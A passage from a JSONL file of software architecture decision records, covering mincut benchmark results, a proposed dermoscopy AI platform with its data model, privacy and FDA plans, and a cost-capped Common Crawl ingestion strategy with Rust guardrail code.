(`canonical_hashes_equal`)\n- Null pointer rejection in all FFI functions (`test_wasm_null_safety`)\n- Graph size limits enforced (`test_wasm_init_too_large`)\n\n## Benchmark Results\n\n### Tier 1: Exact Canonical MinCut\n\n| Graph Type | Nodes | Time |\n|-----------|-------|------|\n| Cycle | 6 | 2.18 us |\n| Cycle | 50 | 3.09 us |\n| Complete | 10 | 2.61 us |\n| Hash stability (1000 iters) | 100 | 1.39 us |\n\nFlat capacity matrix (`cap[u*n + v]`) provides 10-30% improvement over adjacency-list max-flow due to cache locality.\n\n### Tier 2: Tree Packing (Gomory-Hu)\n\n| Metric | Value |\n|--------|-------|\n| Algorithm | Gusfield's Gomory-Hu tree |\n| Construction | O(V * T_maxflow) |\n| Global MinCut from tree | O(V) |\n| vs Stoer-Wagner | 29.7% faster (dense), up to ~40x (large) |\n| Unit tests | 14 pass |\n\n### Tier 3: Dynamic/Incremental MinCut\n\n| Operation | Complexity |\n|-----------|-----------|\n| `add_edge` (no cut crossing) | O(1) |\n| `add_edge` (crosses cut) | O(V * sqrt(E)) |\n| `remove_edge` (not in cut set) | O(1) |\n| `remove_edge` (in cut set) | O(V * sqrt(E)) |\n| `apply_batch` (N edges) | O(N) + maybe O(V * sqrt(E)) |\n| Staleness check | O(1) |\n| Unit tests | 19 pass |\n\n### Test Summary\n\n| Suite | Tests | Status |\n|-------|-------|--------|\n| Canonical (Tier 1) | 65 | Pass |\n| Tree Packing (Tier 2) | 14 | Pass |\n| Dynamic (Tier 3) | 19 | Pass |\n| WASM FFI | 12 | Pass |\n| **Total** | **110** | **All pass** |\n\n## Consequences\n\n### Positive\n\n- Deterministic structural identity\n- Stronger witness semantics\n- Stable mincut-based control\n- Clean path from software to dynamic and hardware loops\n- Additive change with no breakage to cactus users\n\n### Negative\n\n- Tier 1 can be expensive on large graphs (`O(n \u00b7 T_st)`)\n- Capacity perturbation with vertex splitting adds implementation complexity\n- Two notions of canonical cut now coexist and must be documented clearly\n\n### Neutral\n\n- Public API surface grows modestly\n- Existing cactus code remains fully valid\n- Feature-gated behind existing `canonical` flag", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-117-canonical-mincut-pseudo-deterministic.md", "created_at": "2026-03-28T11:58:50.080231+00:00", "content_hash": "2f2fabd977cfd698f016f414a13f61ded217e72f184104409bad97d51efab665"} +{"id": "d583bb26-7534-436e-aa5a-ec163bb72eeb", "source": "adr", "text": "# ADR-117: DrAgnes Dermatology Intelligence Platform\n\n**Status**: Proposed\n**Date**: 2026-03-21\n**Author**: Claude (ruvnet)\n**Crates**: `ruvector-cnn`, `ruvector-cnn-wasm`, `mcp-brain-server`, `ruvector-sparsifier`, `ruvector-mincut`, `ruvector-solver`\n\n## Context\n\nSkin cancer is the most common cancer globally, with melanoma responsible for approximately 8,000 deaths annually in the United States alone. Early detection reduces melanoma mortality by approximately 90%, yet dermatologist wait times average 35 days in the US, and rural areas have virtually no access to dermoscopic expertise.\n\nCurrent AI dermatology solutions suffer from several limitations:\n- **Static models**: Train once on a fixed dataset, never improve from clinical use\n- **Cloud-dependent**: Require internet connectivity for every classification\n- **No collective learning**: Each practice operates in isolation\n- **No provenance**: Cannot trace how a classification was produced\n- **Limited dermoscopy support**: Most tools work from clinical photos, not dermoscopic images\n\nRuVector already provides the technical substrate for a superior platform:\n- `ruvector-cnn` offers MobileNetV3 Small/Large with INT8 quantization and SIMD acceleration (ADR-091)\n- `ruvector-cnn-wasm` enables browser-based CNN inference via WASM SIMD128 (ADR-089)\n- The pi.ruv.io brain server maintains 1,529 memories, 316K graph edges, and supports collective learning with PII stripping, differential privacy, and witness chain provenance\n- `ruvector-sparsifier` provides 26x graph compression for analytics (ADR-116)\n- Contrastive learning support enables fine-tuning on dermoscopic image pairs (ADR-088)\n- SONA MicroLoRA enables online per-practice adaptation with EWC++ catastrophic forgetting prevention\n\n## Decision\n\nBuild DrAgnes as an AI-powered dermatology intelligence platform on the RuVector stack that integrates DermLite dermoscopic imaging, CNN-based classification, pi.ruv.io brain collective learning, and the RuVocal chat interface for clinical decision support.\n\n### Architecture\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 DrAgnes Platform \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 RuVocal PWA \u2502\u2500\u2500\u25b6\u2502 ruvector-cnn \u2502\u2500\u2500\u25b6\u2502 pi.ruv.io Brain \u2502 \u2502\n\u2502 \u2502 (SvelteKit) \u2502 \u2502 (WASM) \u2502 \u2502 (Collective) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 DermLite Capture\u2502 \u2502 HNSW Search \u2502 \u2502 PubMed Enrichment\u2502 \u2502\n\u2502 \u2502 (Camera API) \u2502 \u2502 + GNN Topo \u2502 \u2502 + Knowledge Graph\u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Privacy Layer: PII Strip | DP (eps=1.0) | Witness Chain \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Google Cloud: Cloud Run | Firestore | GCS | Pub/Sub \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Key Design Principles\n\n1. **No raw images in the cloud**: Dermoscopic images stay on the device (IndexedDB). Only 576-dim CNN embeddings (non-invertible, 261:1 dimensionality reduction) are shared with the brain.\n\n2. **Offline-first**: WASM-compiled CNN runs entirely in the browser. Classification works without internet. Brain syncs opportunistically.\n\n3. **Collective intelligence**: Every de-identified classification enriches the brain's knowledge graph. All practices benefit from collective learning without seeing each other's data.\n\n4. **Cryptographic provenance**: SHAKE-256 witness chains on every classification prove model version, brain state, and input, enabling FDA-grade auditability.\n\n5. **Practice-adaptive**: SONA MicroLoRA (rank-2) with EWC++ adapts the model to each practice's patient demographics without catastrophic forgetting.\n\n### Implementation Phases\n\n**Phase 1: Foundation (Q3 2026 - Q2 2028)**\n- DermLite integration via MediaStream API (Camera passthrough)\n- MobileNetV3 Small CNN: 7-class classification (HAM10000 taxonomy)\n- WASM inference (<200ms, <5MB model size)\n- Brain integration (brain_share, brain_search for dermoscopy namespace)\n- ABCDE scoring, 7-point checklist, Menzies method automation\n- Grad-CAM heatmap visualization\n- HIPAA-compliant Google Cloud deployment\n- FDA 510(k) pre-submission (predicate: 3Derm DEN200069)\n\n**Phase 2: Clinical Integration (Q3 2028 - Q4 2032)**\n- Expanded taxonomy (50+ lesion subtypes)\n- EHR integration (Epic FHIR, Cerner, Modernizing Medicine)\n- Teledermatology workflow (PCP-to-dermatologist AI triage)\n- Whole-body photography with lesion tracking\n- AR-guided biopsy overlay (WebXR API)\n\n**Phase 3: Advanced Imaging (2032-2040)**\n- Multi-modal fusion (dermoscopy + RCM + OCT)\n- Multispectral imaging analysis\n- Genomic risk score integration (GWAS melanoma panels)\n- 3D lesion reconstruction\n\n**Phase 4: Autonomous Intelligence (2040-2051)**\n- Continuous monitoring wearables (smart patches, smart mirrors)\n- Self-evolving models (unsupervised lesion subtype discovery)\n- Global dermatology knowledge network\n- Near-elimination of late-stage melanoma detection\n\n### Data Model\n\n```typescript\n// Core entities for DrAgnes\n\ninterface DermImage {\n id: string; // UUID v7\n captureTimestamp: number; // Unix ms\n deviceModel: 'HUD' | 'DL5' | 'DL4' | 'DL200' | 'phone_only';\n polarizationMode: 'polarized' | 'non_polarized' | 'hybrid';\n contactMode: 'contact' | 'non_contact';\n bodyLocation: BodyLocation;\n localStorageRef: string; // IndexedDB (NEVER uploaded)\n}\n\ninterface LesionClassification {\n imageId: string;\n modelVersion: string;\n brainEpoch: number;\n probabilities: Record; // 7-class\n topClass: LesionClass;\n confidence: number;\n abcdeScores: ABCDEScores;\n sevenPointScore: number;\n gradCamOverlay: Uint8Array; // Local only\n witnessHash: string; // SHAKE-256\n}\n\ninterface DiagnosisRecord {\n classificationId: string;\n clinicianReview: 'confirmed' | 'corrected' | 'pending';\n correctedClass?: LesionClass;\n clinicalAction: 'monitor' | 'biopsy' | 'excision' | 'refer' | 'dismiss';\n histopathologyResult?: string;\n}\n\ninterface PatientEmbedding {\n // Shared with brain -- NO PHI\n embedding: Float32Array; // 576-dim (non-invertible)\n projectedEmbedding: Float32Array; // 128-dim (HNSW search)\n classLabel: LesionClass;\n fitzpatrickType: number; // I-VI\n bodyLocationCategory: string; // Generalized\n ageDecade: number; // Bucketed\n dermoscopicFeatures: string[];\n dpNoise: Float32Array; // Laplace (epsilon=1.0)\n witnessChain: Uint8Array; // SHAKE-256\n}\n\ntype LesionClass = 'akiec' | 'bcc' | 'bkl' | 'df' | 'mel' | 'nv' | 'vasc';\n\ninterface ABCDEScores {\n asymmetry: number; // 0-2\n border: number; // 0-8\n color: number; // 1-6\n diameter: number; // mm\n evolution: number | null;\n totalScore: number;\n riskLevel: 'low' | 'moderate' | 'high' | 'critical';\n}\n```\n\n### API Endpoints\n\n```\n# Classification\nPOST /api/v1/analyze Classify dermoscopic image\nPOST /api/v1/analyze/batch Batch classification\nGET /api/v1/similar/:id Brain search for similar cases\n\n# Clinical Workflow\nPOST /api/v1/feedback Clinician confirmation/correction\nGET /api/v1/patient/:id/timeline Lesion evolution timeline\n\n# Brain Integration\nPOST /api/v1/brain/contribute Share de-identified embedding\nGET /api/v1/brain/search Search collective knowledge\nGET /api/v1/brain/literature PubMed context for lesion type\n\n# Model Management\nGET /api/v1/model/status Current model version + metrics\nPOST /api/v1/model/sync Trigger LoRA sync\n\n# Audit\nGET /api/v1/audit/trail/:id Witness chain for classification\n```\n\n### Privacy & Compliance\n\n**HIPAA**:\n- Raw images never leave the device (IndexedDB, encrypted)\n- Only 576-dim CNN embeddings shared (non-invertible, 261:1 reduction)\n- PII stripping pipeline (EXIF, demographics, free text)\n- Differential privacy (epsilon=1.0, Laplace mechanism)\n- k-anonymity (k>=5) on metadata quasi-identifiers\n- Witness chain audit trail (SHAKE-256)\n- Google Cloud BAA coverage for all services used\n- 6-year audit log retention\n\n**FDA**:\n- Target: Class II 510(k) clearance\n- Predicate: 3Derm (DEN200069, FDA-cleared AI for skin cancer)\n- Position: Clinical decision support for qualified healthcare professionals\n- Quality system: ISO 14971 risk management, 21 CFR 820 design controls\n\n**Fairness**:\n- Fitzpatrick-stratified evaluation (I-VI)\n- Sensitivity/specificity must meet targets across all skin types\n- Fitzpatrick17k dataset for bias evaluation\n- Weekly automated fairness audits\n\n### Cost Model\n\n**Infrastructure (per month)**:\n| Scale | Total Cost | Per Practice |\n|-------|-----------|-------------|\n| 10 practices | $258 | $25.80 |\n| 100 practices | $752 | $7.52 |\n| 1,000 practices | $3,890 | $3.89 |\n\n**Revenue**:\n| Tier | Price | Includes |\n|------|-------|---------|\n| Starter | $99/mo | 500 classifications, WASM offline, basic brain |\n| Professional | $199/mo | Unlimited, LoRA, full brain, teledermatology |\n| Enterprise | Custom | Multi-practice, EHR integration, SLA |\n| Academic | Free | Research use, data contribution |\n| Underserved | Free | Community health centers |\n\n**Break-even**: approximately 30 Professional-tier practices.\n\n### Performance Targets\n\n| Metric | Target | Notes |\n|--------|--------|-------|\n| WASM inference latency | <200ms | Mid-range phone (Snapdragon 778G) |\n| Server inference latency | <50ms | Cloud Run with AVX2 |\n| Melanoma sensitivity | >95% | Minimize false negatives |\n| Melanoma specificity | >85% | Balance unnecessary biopsies |\n| Model size (INT8) | <5MB | PWA offline cache |\n| Offline capable | 100% core features | Classification, ABCDE, Grad-CAM |\n\n### Dependencies\n\n| Crate/Package | Version | Purpose |\n|--------------|---------|---------|\n| ruvector-cnn | 0.3.x | MobileNetV3 backbone, feature extraction |\n| ruvector-cnn-wasm | 0.3.x | Browser WASM inference |\n| mcp-brain-server | current | Collective intelligence, knowledge graph |\n| ruvector-sparsifier | 2.0.x | Graph analytics compression |\n| ruvector-mincut | current | Lesion cluster discovery |\n| ruvector-solver | current | PPR search, PageRank |\n| ruvector-nervous-system | current | Hopfield associative memory |\n| @ruvector/cnn (npm) | current | CNN JavaScript bindings |\n\n### Related ADRs\n\n- **ADR-088**: CNN Contrastive Learning (SimCLR/InfoNCE for dermoscopic pairs)\n- **ADR-089**: CNN Browser Demo (WASM inference architecture)\n- **ADR-091**: INT8 CNN Quantization (model compression)\n- **ADR-111**: RuVocal UI Integration (chat interface)\n- **ADR-115**: Common Crawl Temporal Compression (knowledge enrichment)\n- **ADR-116**: Spectral Sparsifier Brain Integration (graph analytics)\n\n## Acceptance Criteria\n\n1. CNN classifies 7 lesion types from HAM10000 taxonomy with >95% melanoma sensitivity and >85% specificity\n2. WASM inference completes in <200ms on a mid-range smartphone browser\n3. INT8 quantized model is <5MB for PWA offline cache\n4. Brain integration stores de-identified embeddings with witness chain provenance\n5. PII stripping pipeline removes all 18 HIPAA identifiers before any cloud storage\n6. Differential privacy with epsilon=1.0 applied to all brain contributions\n7. Grad-CAM heatmap visualizes classification attention on dermoscopic image\n8. ABCDE scoring produces automated risk assessment from segmented lesion\n9. 7-point checklist automates all 7 criteria scoring\n10. Offline mode provides full classification without internet connectivity\n11. Fitzpatrick-stratified evaluation shows <5% accuracy disparity across skin types I-VI\n12. Witness chain (SHAKE-256) traces every classification to model version and brain epoch\n\n## Consequences\n\n### Positive\n- Democratizes dermoscopic AI for primary care and underserved populations\n- Continuous collective learning improves accuracy over time for all participants\n- Offline-first design works in any setting regardless of connectivity\n- Cryptographic provenance enables FDA-grade auditability\n- Practice-adaptive models handle diverse patient populations\n- Revenue model is sustainable at modest scale (30 practices break-even)\n\n### Negative\n- FDA 510(k) process requires 12-18 months and significant clinical validation\n- DermLite dependency limits non-DermLite users (mitigated by phone-only mode)\n- Collective learning requires critical mass of practices for meaningful benefit\n- Differential privacy with epsilon=1.0 adds noise that may slightly reduce model accuracy\n- Multi-region HIPAA compliance increases infrastructure complexity\n\n### Risks\n- FDA may classify as Class III if deemed standalone diagnostic (mitigate: position as decision support)\n- Training data bias against Fitzpatrick V-VI could perpetuate health disparities (mitigate: diverse data strategy)\n- Competitor with Google-scale resources could replicate core features (mitigate: collective learning network effects)\n- Model inversion attacks on embeddings, though theoretically non-invertible (mitigate: DP noise + k-anonymity)\n\n## References\n\n- Tschandl P, et al. \"The HAM10000 dataset.\" Scientific Data 5, 180161 (2018)\n- Esteva A, et al. \"Dermatologist-level classification of skin cancer with deep neural networks.\" Nature 542, 115-118 (2017)\n- Codella N, et al. \"Skin lesion analysis toward melanoma detection.\" ISIC Challenge (2018)\n- FDA. \"Clinical Decision Support Software: Guidance for Industry.\" (2022)\n- Howard A, et al. \"Searching for MobileNetV3.\" ICCV (2019)\n- Argenziano G, et al. \"Dermoscopy of pigmented skin lesions: Results of a consensus meeting.\" JAAD 48(5), 679-693 (2003)\n- Menzies SW, et al. \"Frequency and morphologic characteristics of invasive melanomas lacking specific surface microscopic features.\" Archives of Dermatology 132(10), 1178-1182 (1996)\n- Groh M, et al. \"Evaluating Deep Neural Networks Trained on Clinical Images in Dermatology with the Fitzpatrick 17k Dataset.\" CVPR (2021)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-117-dragnes-dermatology-intelligence-platform.md", "created_at": "2026-03-28T11:58:50.080582+00:00", "content_hash": "65d6a564eab214cf7ed734397767e07a97d023d2ed0120c9c45ae40c7bf1dd39"} +{"id": "85ede7cb-c364-48df-b74c-448ad326e203", "source": "adr", "text": "# ADR-118: Cost-Effective Common Crawl Strategy with Sparsifier-Aware Guardrails\n\n**Status**: Phase 1 Active\n**Date**: 2026-03-21\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: None\n**Related**: ADR-115 (Common Crawl Integration), ADR-116 (Spectral Sparsifier), ADR-096 (Cloud Pipeline), ADR-117 (DragNES Dermatology)\n\n## 1. Context\n\nADR-115 validated PiQ3 compression (8.68x, 99% recall) and defined a Common Crawl integration architecture. However, the initial cost estimates ($160-480/mo) assume always-on retrieval and Memorystore caching, which is premature for a brain with 1,554 memories.\n\n**Current brain state**:\n- 1,554 memories, 340K graph edges\n- Sparsifier achieves 27x edge compression (340K -> 12K)\n- `/v1/partition` times out: MinCut on 340K edges exceeds Cloud Run's 300s limit\n- PiQ3 validated at 8.68x compression, 99% recall\n- RlmEmbedder runs on CPU at 128-dim (no GPU or external API needed)\n\n**Problem**: We need a crawl strategy that starts at $11-28/month and scales predictably, with hard guardrails to prevent cost overruns and graph explosion.\n\n## 2. Decision\n\nImplement a three-phase tiered crawl strategy with sparsifier-aware cost guardrails, starting with medical/dermatology domains at $11-28/month.\n\nKey principles:\n1. Start minimal, scale only after validating cost/value at each tier\n2. Enforce hard daily limits on pages, memories, and Firestore writes\n3. Run all partition/MinCut queries on sparsified graphs, never full graphs\n4. Cache partition results with background recompute\n5. Use RlmEmbedder (CPU, 128-dim) exclusively -- no external embedding APIs\n\n## 3. Three-Phase Budget Model\n\n### Phase 1: Medical Domain ($11-28/mo)\n\nTarget: 5K-15K new memories/month from medical and dermatology sources.\n\n| Item | Monthly Cost | Notes |\n|------|-------------|-------|\n| Cloud Run (crawl job, 30min/day) | $3-8 | Scale-to-zero, bursty pattern |\n| Firestore (5K-15K writes + reads) | $2-5 | Document + subcollection ops |\n| Cloud Scheduler (2 crawl + 1 partition + 1 cost report) | $0.10 | 4 scheduled jobs |\n| GCS (compressed embeddings) | $0.50 | PiQ3-compressed, <1 GB total |\n| CDX cache (SQLite on disk) | $0 | Local to Cloud Run instance, ephemeral |\n| RlmEmbedder (CPU, 128-dim) | $0 | Runs in-process, no external API |\n| Egress (internal only) | $0-5 | Minimal cross-region traffic |\n| Cloud Monitoring + alerting | $0.50 | Free tier covers basic alerting |\n| Buffer (20%) | $5-10 | Headroom for spikes |\n| **Total** | **$11-28** | |\n\n**Domains**: pubmed.ncbi.nlm.nih.gov, aad.org, jaad.org, nejm.org, lancet.com, bmj.com, dermnetnz.org, skincancer.org, melanoma.org\n\n**Graduation criteria**: Recall >= 0.90 on medical domain queries, cost stable for 30 consecutive days, no partition timeouts.\n\n### Phase 2: Academic + News ($73-108/mo)\n\nTarget: 50K-100K new memories/month.\n\n| Item | Monthly Cost | Notes |\n|------|-------------|-------|\n| Cloud Run (crawl, 2hrs/day) | $15-30 | Higher duty cycle |\n| Firestore (50K-100K writes) | $20-30 | Scales with memory count |\n| GCS (compressed, ~5-10 GB) | $2-5 | Growth from Phase 1 |\n| CDX cache (small Redis or SQLite) | $5-15 | Persistent cache for larger query volume |\n| Cloud Scheduler (6 jobs) | $0.30 | Additional domain crawlers |\n| Egress | $5-10 | More cross-service traffic |\n| Monitoring | $1 | Additional alert rules |\n| Buffer (20%) | $15-20 | |\n| **Total** | **$73-108** | |\n\n**Additional domains**: arxiv.org, en.wikipedia.org, techcrunch.com, arstechnica.com, nature.com, science.org\n\n**Graduation criteria**: Phase 1 metrics sustained, graph sharding design validated, budget approved by owner.\n\n### Phase 3: Broad Web ($158-308/mo)\n\nTarget: 500K-1M new memories/month via WET segment processing.\n\n| Item | Monthly Cost | Notes |\n|------|-------------|-------|\n| Cloud Run (crawl + ingest, 4hrs/day) | $40-80 | WET segment processing |\n| Firestore (500K-1M writes) | $50-100 | Significant write volume |\n| GCS (compressed, 50-100 GB) | $5-15 | Larger corpus |\n| CDX cache (Redis 4 GiB) | $30-60 | High query volume |\n| Cloud Scheduler (10+ jobs) | $0.50 | Multiple domain schedulers |\n| Egress | $10-20 | |\n| Monitoring | $2-3 | |\n| Buffer (20%) | $25-50 | |\n| **Total** | **$158-308** | |\n\n**Graduation criteria**: Phase 2 metrics sustained, graph sharding operational, aggressive sparsification validated at 2M+ edges.\n\n## 4. Cost Guardrails\n\nHard limits enforced at the application layer. These are not suggestions -- the crawl pipeline must check and enforce these before every operation.\n\n```rust\n/// Cost guardrails enforced by the crawl pipeline.\n/// These prevent runaway spending by capping daily operations.\npub struct CostGuardrails {\n /// Maximum pages fetched from Common Crawl CDX per day.\n /// Prevents bandwidth and compute spikes.\n pub max_pages_per_day: u32,\n\n /// Maximum new memories created per day (after dedup + novelty filter).\n /// Controls Firestore write costs and graph growth rate.\n pub max_new_memories_per_day: u32,\n\n /// Edge count threshold that triggers aggressive sparsification.\n /// Prevents MinCut timeout by keeping partition graph small.\n pub max_graph_edges: u64,\n\n /// Hard cap on Firestore write operations per day.\n /// Direct cost control for the largest variable cost item.\n pub max_firestore_writes_per_day: u32,\n\n /// USD threshold that triggers budget alert via Cloud Monitoring.\n /// When monthly projection exceeds this, crawl jobs are paused.\n pub budget_alert_threshold_usd: f64,\n\n /// Novelty threshold for deduplication.\n /// Skip ingestion if cosine similarity to existing memory > (1 - threshold).\n /// Default 0.05 means skip if cosine > 0.95.\n pub novelty_threshold: f32,\n}\n\nimpl CostGuardrails {\n /// Phase 1: Medical domain, minimal spend\n pub fn phase1() -> Self {\n Self {\n max_pages_per_day: 500,\n max_new_memories_per_day: 200,\n max_graph_edges: 500_000,\n max_firestore_writes_per_day: 5_000,\n budget_alert_threshold_usd: 30.0,\n novelty_threshold: 0.05,\n }\n }\n\n /// Phase 2: Academic + news, moderate spend\n pub fn phase2() -> Self {\n Self {\n max_pages_per_day: 5_000,\n max_new_memories_per_day: 2_000,\n max_graph_edges: 2_000_000,\n max_firestore_writes_per_day: 50_000,\n budget_alert_threshold_usd: 120.0,\n novelty_threshold: 0.05,\n }\n }\n\n /// Phase 3: Broad web, higher limits\n pub fn phase3() -> Self {\n Self {\n max_pages_per_day: 20_000,\n max_new_memories_per_day: 10_000,\n max_graph_edges: 5_000_000,\n max_firestore_writes_per_day: 200_000,\n budget_alert_threshold_usd: 350.0,\n novelty_threshold: 0.05,\n }\n }\n\n /// Returns true if the content should be skipped (too similar to existing)\n pub fn should_skip(&self, cosine_similarity: f32) -> bool {\n cosine_similarity > (1.0 - self.novelty_threshold)\n }\n}\n```\n\n### Guardrail Enforcement Points\n\n| Checkpoint | Guardrail | Action on Breach |\n|-----------|-----------|-----------------|\n| Before CDX query | `max_pages_per_day` | Skip crawl, log warning |\n| Before memory creation | `max_new_memories_per_day` | Queue for next day |\n| After memory creation | `max_graph_edges` | Trigger aggressive sparsification |\n| Before Firestore write | `max_firestore_writes_per_day` | Buffer to next day |\n| Hourly cost projection | `budget_alert_threshold_usd` | Pause all crawl jobs, alert owner |\n| Before embedding comparison | `novelty_threshold` | Skip duplicate, log |\n\n## 5. Sparsifier-Aware Graph Management\n\nThe spectral sparsifier (ADR-116) is critical for keeping partition queries fast and costs low.\n\n### Edge Threshold Policy\n\n| Edge Count | Action | Sparsifier Epsilon | Expected Sparse Edges |\n|-----------|--------|-------------------|----------------------|\n| < 100K | Partition on full graph | N/A | N/A |\n| 100K - 500K | Partition on sparsified graph | 0.3 (default) | ~4K-18K |\n| 500K - 2M | Aggressive sparsification | 0.5 | ~10K-40K |\n| > 2M | Graph sharding + aggressive sparsify | 0.7 + shard | ~6K-30K per shard |\n\n### Partition on Sparsified Graph\n\n**Rule**: All MinCut/partition queries MUST use sparsified edges when `edge_count > 100K`.\n\nThe sparsifier preserves cut structure (spectral guarantee) while reducing edge count by 20-30x. This is not an approximation shortcut -- it is a mathematically justified reduction that preserves the properties MinCut needs.\n\n**Current example**: 340K edges -> 12K sparsified (27x). MinCut on 12K edges completes in ~5-15 seconds vs timeout on 340K.\n\n## 6. Partition Caching Strategy\n\n### Problem\n`/v1/partition` computes MinCut on every request. At 340K edges, this exceeds Cloud Run's 300-second timeout.\n\n### Solution: Cache + Background Recompute\n\n```rust\n/// Cached partition result, stored in Firestore or in-memory.\n/// Served directly on /v1/partition requests.\npub struct CachedPartition {\n /// The computed cluster assignments\n pub clusters: Vec,\n /// When this partition was computed\n pub computed_at: DateTime,\n /// Cache TTL in seconds (default: 3600 = 1 hour)\n pub ttl_seconds: u64,\n /// Whether this was computed on the sparsified graph\n pub used_sparsified: bool,\n /// Number of edges used in computation\n pub edge_count: u64,\n /// Sparsifier epsilon used\n pub epsilon: f32,\n}\n\nimpl CachedPartition {\n /// Check if cached result is still valid\n pub fn is_valid(&self) -> bool {\n let elapsed = Utc::now() - self.computed_at;\n elapsed.num_seconds() < self.ttl_seconds as i64\n }\n}\n```\n\n### Request Flow\n\n```\nGET /v1/partition\n |\n v\n[Cache hit + valid?] --yes--> Return cached result (< 10ms)\n |\n no\n |\n v\n[Sparsified edges available?] --yes--> Compute on sparse (5-15s)\n | |\n no v\n | Cache result, return\n v\n[Edge count < 100K?] --yes--> Compute on full graph\n |\n no\n |\n v\nReturn 503 \"Partition computing, try again in 60s\"\n + Trigger background recompute\n```\n\n### Background Recompute Schedule\n\n```yaml\n# Cloud Scheduler: recompute partition hourly\n- name: brain-partition-recompute\n schedule: \"0 * * * *\"\n target:\n uri: /v1/partition/recompute\n httpMethod: POST\n body: '{\"use_sparsified\": true, \"timeout_seconds\": 120}'\n retryConfig:\n retryCount: 2\n maxBackoffDuration: \"60s\"\n```\n\n## 7. Cloud Scheduler Configuration\n\n### Phase 1 Jobs\n\n```yaml\n# Medical domain crawl - daily 